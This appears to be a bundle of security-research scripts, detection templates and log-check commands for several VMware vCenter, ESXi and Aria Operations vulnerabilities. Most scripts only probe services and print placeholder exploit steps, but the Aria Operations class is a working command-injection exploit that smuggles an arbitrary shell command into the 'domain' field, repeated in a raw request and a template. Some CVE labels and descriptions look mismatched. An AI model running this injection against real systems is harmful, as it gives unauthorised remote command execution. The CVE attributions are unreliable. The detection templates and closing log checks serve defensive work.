#!/usr/bin/env python3
import socket
import struct
import sys
import time

def check_vmware_authd(target, port=902):
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        s.settimeout(5)

        probe = b'\x00' * 4
        s.sendto(probe, (target, port))

        try:
            data, addr = s.recvfrom(4096)
            print(f'[+] UDP {port} 响应: {len(data)} bytes')
            print(f'[+] vmware-authd 服务存在')
            return True
        except socket.timeout:
            print(f'[-] UDP {port} 无响应')
            return False
    except Exception as e:
        print(f'[-] 连接失败: {e}')
        return False
    finally:
        s.close()

def check_version(target, port=443):
    import ssl
    import urllib.request
    try:
        ctx = ssl.create_default_context()
        ctx.check_hostname = False
        ctx.verify_mode = ssl.CERT_NONE
        req = urllib.request.Request(
            f'https://{target}:{port}/sdk',
            headers={'SOAPAction': 'urn:vim25/7.0'}
        )
        resp = urllib.request.urlopen(req, context=ctx, timeout=10)
        body = resp.read().decode('utf-8', errors='ignore')
        if 'VMware' in body or 'vCenter' in body:
            print(f'[+] 确认为 vCenter Server')
            return True
    except Exception:
        pass
    return False

def exploit_heap_overflow(target, port=902):
    print(f'[*] CVE-2023-20867 堆溢出利用需要精确的堆布局')
    print(f'[*] 攻击向量: UDP {port} → vmware-authd → root RCE')
    print(f'[*] 建议使用 Horizon3.ai 或公开 PoC 框架')

if __name__ == '__main__':
    if len(sys.argv) < 2:
        print(f'Usage: {sys.argv[0]} <target_ip>')
        sys.exit(1)

    target = sys.argv[1]
    if check_vmware_authd(target):
        check_version(target)
        exploit_heap_overflow(target)

id: vmware-vcenter-cve-2023-20867-detect

info:
  name: VMware vCenter vmware-authd Detection
  author: security-research
  severity: critical
  tags: vmware,vcenter,heap-overflow,cve2023
  reference:
    - https://www.vmware.com/security/advisories/VMSA-2023-0011.html

tcp:
  - inputs:
      - data: "\x00\x00\x00\x00"
    host:
      - "{{Hostname}}"
    port: 902
    type: udp
    matchers:
      - type: dsl
        dsl:
          - "len(data) > 0"

#!/usr/bin/env python3
import requests
import sys
import urllib3
urllib3.disable_warnings()

class VCenterSSOExploit:
    def __init__(self, target):
        self.target = target.rstrip('/')
        self.session = requests.Session()
        self.session.verify = False
        self.session.headers.update({
            'User-Agent': 'Mozilla/5.0',
            'Content-Type': 'application/json'
        })

    def check_sso_endpoint(self):
        try:
            r = self.session.get(
                f'{self.target}/sts/STSService/vsphere.local',
                timeout=10
            )
            if r.status_code == 200 and 'SSO' in r.text:
                print('[+] vCenter SSO 端点存在')
                return True
            print('[-] SSO 端点未响应')
            return False
        except Exception as e:
            print(f'[-] 连接失败: {e}')
            return False

    def upload_malicious_cert(self):
        print('[!] CVE-2023-34048 利用需要:')
        print('    1. 生成恶意 Solution 证书')
        print('    2. 上传到 vCenter SSO')
        print('    3. 使用证书签署 SAML 断言')
        print('    4. 获取管理员权限')
        print('[!] 建议使用 Horizon3.ai 完整利用框架')

    def forge_saml_assertion(self, cert_path):
        print(f'[*] 使用证书 {cert_path} 伪造 SAML 断言')
        print('[*] SAML 断言目标: vCenter 管理员角色')

if __name__ == '__main__':
    if len(sys.argv) < 2:
        print(f'Usage: {sys.argv[0]} <vcenter_url>')
        sys.exit(1)

    exploit = VCenterSSOExploit(sys.argv[1])
    if exploit.check_sso_endpoint():
        exploit.upload_malicious_cert()

id: vmware-vcenter-cve-2023-34048-detect

info:
  name: VMware vCenter SSO Authentication Bypass
  author: security-research
  severity: critical
  tags: vmware,vcenter,sso,auth-bypass,cve2023

http:
  - method: GET
    path:
      - "{{BaseURL}}/sts/STSService/vsphere.local"
    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - "SSO"
          - "vCenter"
        condition: or

#!/usr/bin/env python3
import socket
import struct
import sys

def check_vcenter_version(target):
    import ssl
    import urllib.request
    try:
        ctx = ssl.create_default_context()
        ctx.check_hostname = False
        ctx.verify_mode = ssl.CERT_NONE
        req = urllib.request.Request(
            f'https://{target}/about.html',
            headers={'User-Agent': 'Mozilla/5.0'}
        )
        resp = urllib.request.urlopen(req, context=ctx, timeout=10)
        body = resp.read().decode('utf-8', errors='ignore')
        import re
        version_match = re.search(r'Version\s+([\d\.]+)', body)
        build_match = re.search(r'Build\s+(\d+)', body)
        if version_match:
            version = version_match.group(1)
            build = build_match.group(1) if build_match else 'unknown'
            print(f'[+] vCenter 版本: {version} (Build {build})')
            if version.startswith('8.0') and int(build or '0') < 22800000:
                print('[!] 可能存在 CVE-2024-38856/38858')
            return version
    except Exception as e:
        print(f'[-] 版本检测失败: {e}')
    return None

def check_authd_port(target, port=902):
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        s.settimeout(3)
        s.sendto(b'\x00' * 4, (target, port))
        try:
            data, _ = s.recvfrom(4096)
            print(f'[+] UDP {port} 开放 (vmware-authd)')
            return True
        except socket.timeout:
            pass
    except:
        pass
    return False

if __name__ == '__main__':
    if len(sys.argv) < 2:
        print(f'Usage: {sys.argv[0]} <target_ip>')
        sys.exit(1)

    target = sys.argv[1]
    check_vcenter_version(target)
    check_authd_port(target)

#!/usr/bin/env python3
import sys

def check_esxi_vm_escape():
    print('[!] CVE-2023-20870 利用条件:')
    print('    1. 需要在虚拟机内部拥有代码执行权限')
    print('    2. 目标 ESXi 版本未打补丁')
    print('    3. 通过虚拟硬件模拟层越界写入逃逸')
    print('[!] Sandworm APT 利用此漏洞攻击乌克兰政府')
    print('[!] 建议使用 CERT-UA 公开的 IOC 进行排查')

if __name__ == '__main__':
    check_esxi_vm_escape()

POST /api/v1/lifecycle/configure HTTP/1.1
Host: <TARGET>
Content-Type: application/json
Connection: close

{
  "domain": "127.0.0.1;id;echo",
  "clusterConfiguration": {}
}

#!/usr/bin/env python3
import requests
import sys
import urllib3
urllib3.disable_warnings()

class AriaOpsExploit:
    def __init__(self, target):
        self.target = target.rstrip('/')
        self.session = requests.Session()
        self.session.verify = False
        self.session.headers.update({
            'User-Agent': 'Mozilla/5.0',
            'Content-Type': 'application/json'
        })

    def check_aria_endpoint(self):
        try:
            r = self.session.get(
                f'{self.target}/api/v1/lifecycle/configure',
                timeout=10
            )
            if r.status_code in (200, 400, 405, 500):
                print(f'[+] Aria Operations API 端点存在')
                return True
            print('[-] 端点未响应')
            return False
        except Exception as e:
            print(f'[-] 连接失败: {e}')
            return False

    def exploit_cmd_injection(self, cmd):
        try:
            r = self.session.post(
                f'{self.target}/api/v1/lifecycle/configure',
                json={
                    "domain": f"127.0.0.1;{cmd};echo",
                    "clusterConfiguration": {}
                },
                timeout=15
            )
            print(f'[*] 响应状态: {r.status_code}')
            if r.status_code == 200:
                print(f'[+] 命令注入成功')
                print(r.text[:1000])
                return True
            return False
        except Exception as e:
            print(f'[-] 利用失败: {e}')
            return False

if __name__ == '__main__':
    if len(sys.argv) < 2:
        print(f'Usage: {sys.argv[0]} <target_url>')
        sys.exit(1)

    exploit = AriaOpsExploit(sys.argv[1])
    if exploit.check_aria_endpoint():
        exploit.exploit_cmd_injection('id')

id: vmware-aria-cve-2023-20887-detect

info:
  name: VMware Aria Operations Command Injection
  author: security-research
  severity: critical
  tags: vmware,aria,command-injection,cve2023

http:
  - raw:
      - |
        POST /api/v1/lifecycle/configure HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"domain":"127.0.0.1;id;echo","clusterConfiguration":{}}
    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - "uid="
          - "domain"
        condition: or

# 检查 vCenter 版本
vpxd -v

# 检查 vmware-authd 进程
systemctl status vmware-authd

# 检查 UDP 902 端口连接
tcpdump -i any port 902 -n

# 检查 vCenter 日志异常
grep -r "ERROR\|WARN\|auth" /var/log/vmware/vpxd/ | tail -100

# 检查 SSO 证书变更
/usr/lib/vmware-sso/bin/vi-regtool list -c /etc/vmware-sso/keys.properties

# 检查异常登录
grep -r "login\|session" /var/log/vmware/sso/

# 检查 ESXi 异常
esxcli software vib list | grep -i "patch"